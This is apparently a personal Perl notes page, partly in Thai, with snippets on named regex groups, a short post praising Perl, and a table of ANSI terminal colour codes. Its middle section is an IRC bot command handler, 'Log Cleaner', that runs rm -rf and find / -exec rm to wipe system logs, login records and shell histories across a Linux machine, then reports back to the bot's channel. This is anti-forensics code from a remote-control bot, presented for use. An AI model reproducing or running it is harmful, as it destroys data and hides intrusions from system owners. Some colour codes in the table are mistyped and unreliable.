Perl Regex Group Name
(?P<NAME>pattern)
(?<NAME>pattern)
$variable =~ /(?<count>\d+)/;
print "Count is $+{count}";
ref: http://stackoverflow.com/a/288989
$perldoc
$perldoc perlsyn
$perldoc perlcheat
ref: https://twitter.com/sornram9254/status/604954298108100608
สาเหตที่ทำให้ผมหลงใหล Perl :)
อ่าห์... ยอดเยี่ยมจริงๆ :D นี่แหละครับเป็นสาเหตที่ทำให้ผมหลงไหลภาษา Perl สาเหตหลักๆก็มี 2 ประการ 1. สามารถเขียนเว็บไซต์ได้ ความสามารถไม่แพ้ php 2. สามารถใช้เขียนโปรแกรมได้ด้วย ทั้งแบบ command line และแบบ gui ซึ่งภาษาอื่นทำไม่ได้ มีไกล้เคียงหน่อยก็ php แต่ php ก็ทำได้แค่แบบ command line เท่านั้น ^^"
Log Cleaner [ Linux ] [ Bot IRC with Perl ]
Log Cleaner [ Linux ] [ Bot IRC with Perl ]
if ($funcarg =~ /^logcleaner/) {
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : This process can be long, just wait\r\n";
system 'rm -rf /var/log/lastlog';
system 'rm -rf /var/log/wtmp';
system 'rm -rf /etc/wtmp';
system 'rm -rf /var/run/utmp';
system 'rm -rf /etc/utmp';
system 'rm -rf /var/log';
system 'rm -rf /var/logs';
system 'rm -rf /var/adm';
system 'rm -rf /var/apache/log';
system 'rm -rf /var/apache/logs';
system 'rm -rf /usr/local/apache/log';
system 'rm -rf /usr/local/apache/logs';
system 'rm -rf /root/.bash_history';
system 'rm -rf /root/.ksh_history';
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : All D3fault log erased\r\n";
sleep 1;
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : Erasing the machine log files\r\n";
system 'find / -name *.bash_history -exec rm -rf {} \;';
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system 'find / -name "log*" -exec rm -rf {} \;';
system 'find / -name *.log -exec rm -rf {} \;';
sleep 1;
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : Done! All logs erased\r\n";
}
Text Color in Perl
Text Color in Perl
txtblk='\e[0;30m' # Black - Regular
txtred='\e[0;31m' # Red
txtgrn='\e[0;32m' # Green
txtylw='\e[0;33m' # Yellow
txtblu='\e[0;34m' # Blue
txtpur='\e[0;35m' # Purple
txtcyn='\e[0;36m' # Cyan
txtwht='\e[0;37m' # White
bldblk='\e[1;30m' # Black - Bold
bldred='\e[1;31m' # Red
bldgrn='\e[1;32m' # Green
bldylw='\e[1;33m' # Yellow
bldblu='\e[1;34m' # Blue
bldpur='\e[1;35m' # Purple
bldcyn='\e[1;36m' # Cyan
bldwht='\e[1;37m' # White
unkblk='\e[4;30m' # Black - Underline
undred='\e[4;31m' # Red
undgrn='\e[4;32m' # Green
undylw='\e[4;33m' # Yellow
undblu='\e[4;34m' # Blue
undpur='\e[4;35m' # Purple
undcyn='\e[4;36m' # Cyan
undwht='\e[4;37m' # White
bakblk='\e[40m' # Black - Background
bakred='\e[41m' # Red
badgrn='\e[42m' # Green
bakylw='\e[43m' # Yellow
bakblu='\e[44m' # Blue
bakpur='\e[45m' # Purple
bakcyn='\e[46m' # Cyan
bakwht='\e[47m' # White
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Regular Colors
Black='\e[0;30m' # Black
Red='\e[0;31m' # Red
Green='\e[0;32m' # Green
Yellow='\e[0;33m' # Yellow
Blue='\e[0;34m' # Blue
Purple='\e[0;35m' # Purple
Cyan='\e[0;36m' # Cyan
White='\e[0;37m' # White
# Bold
BBlack=’\e[1;30m’ # Black
BRed=’\e[1;31m’ # Red
BGreen=’\e[1;32m’ # Green
BYellow=’\e[1;33m’ # Yellow
BBlue=’\e[1;34m’ # Blue
BPurple=’\e[1;35m’ # Purple
BCyan=’\e[1;36m’ # Cyan
BWhite=’\e[1;37m’ # White
# Underline
UBlack=’\e[4;30m’ # Black
URed=’\e[4;31m’ # Red
UGreen=’\e[4;32m’ # Green
UYellow=’\e[4;33m’ # Yellow
UBlue=’\e[4;34m’ # Blue
UPurple=’\e[4;35m’ # Purple
UCyan=’\e[4;36m’ # Cyan
UWhite=’\e[4;37m’ # White
# Background
On_Black=’\e[40m’ # Black
On_Red=’\e[41m’ # Red
On_Green=’\e[42m’ # Green
On_Yellow=’\e[43m’ # Yellow
On_Blue=’\e[44m’ # Blue
On_Purple=’\e[45m’ # Purple
On_Cyan=’\e[46m’ # Cyan
On_White=’\e[47m’ # White
# High Intensty
IBlack=’\e[0;90m’ # Black
IRed=’\e[0;91m’ # Red
IGreen=’\e[0;92m’ # Green
IYellow=’\e[0;93m’ # Yellow
IBlue=’\e[0;94m’ # Blue
IPurple=’\e[0;95m’ # Purple
ICyan=’\e[0;96m’ # Cyan
IWhite=’\e[0;97m’ # White
# Bold High Intensty
BIBlack=’\e[1;90m’ # Black
BIRed=’\e[1;91m’ # Red
BIGreen=’\e[1;92m’ # Green
BIYellow=’\e[1;93m’ # Yellow
BIBlue=’\e[1;94m’ # Blue
BIPurple=’\e[1;95m’ # Purple
BICyan=’\e[1;96m’ # Cyan
BIWhite=’\e[1;97m’ # White
# High Intensty backgrounds
On_IBlack=’\e[0;100m’ # Black
On_IRed=’\e[0;101m’ # Red
On_IGreen=’\e[0;102m’ # Green
On_IYellow=’\e[0;103m’ # Yellow
On_IBlue=’\e[0;104m’ # Blue
On_IPurple=’\e[10;95m’ # Purple
On_ICyan=’\e[0;106m’ # Cyan
On_IWhite=’\e[0;107m’ # White
How to use
print "\e[1;34m *0*\r\n";